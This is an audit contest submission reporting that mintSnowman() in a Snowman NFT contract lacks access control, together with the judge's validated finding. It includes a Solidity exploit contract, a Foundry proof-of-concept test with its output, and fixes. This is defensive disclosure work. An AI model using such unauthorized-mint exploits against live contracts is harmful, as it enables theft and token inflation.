Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Missing Access Control Allows Unauthorized NFT Minting

Add access control to restrict minting to only the SnowmanAirdrop contract:Root + Impact

Description

  • Describe the normal behavior in one or more sentences

    The Snowman NFT contract should only allow authorized contracts (specifically SnowmanAirdrop) to mint NFTs when users stake their Snow tokens. This ensures that NFTs are only distributed through the proper airdrop mechanism with Merkle proof verification and token staking.

  • Explain the specific issue or problem in one or more sentences

    The mintSnowman() function in Snowman.sol has no access control modifier, making it a public function that anyone can call. There is no restriction preventing unauthorized addresses from minting unlimited NFTs to any recipien

// Root cause in the codebase with @> marks to highlight the relevant section
@src/Snowman.sol:36-44
function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood: High

  • Reason 1: The function is publicly callable with no restrictions. Any attacker can immediately call this function after contract deployment.

  • Reason 2: The vulnerability is trivial to exploit - no special conditions, timing, or complex interactions are required. A single transaction can mint unlimited NFTs.

Impact: Critical

  • Impact 1: Complete breakdown of the protocol's economic model. The intended 1:1 ratio between Snow tokens and Snowman NFTs is destroyed, making the staking mechanism worthless.

  • Impact 2: Attackers can mint NFTs to themselves or any address, completely bypassing the Merkle proof verification, signature checks, and token staking requirements in SnowmanAirdrop.

Proof of Concept

Test Scenario:

Attacker can mint unlimited NFTs without any restrictions

  1. Deploy Snowman contract

  2. Call mintSnowman(attacker, 1000) from any address

  3. Verify attacker now owns 1000 NFTs without any Snow tokens or Merkle proofs

contract Exploit {
Snowman public snowman;
function exploit(Snowman _snowman) external {
snowman = _snowman;
// Mint 1000 NFTs to attacker without staking any tokens
snowman.mintSnowman(msg.sender, 1000);
// Mint NFTs to any address
snowman.mintSnowman(address(0x123), 500);
// No Merkle proof needed, no signature needed, no token staking needed
}
}

Recommended Mitigation

Add access control to restrict minting to only the SnowmanAirdrop contract:

+ add this code
// Add immutable variable in constructor
address private immutable i_airdrop;
constructor(string memory _SnowmanSvgUri, address _airdrop) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
if (_airdrop == address(0)) {
revert SM__ZeroAddress();
}
s_TokenCounter = 0;
s_SnowmanSvgUri = _SnowmanSvgUri;
i_airdrop = _airdrop;
}
// Add modifier
modifier onlyAirdrop() {
if (msg.sender != i_airdrop) {
revert SM__NotAllowed();
}
_;
}
// Apply modifier to mint function
function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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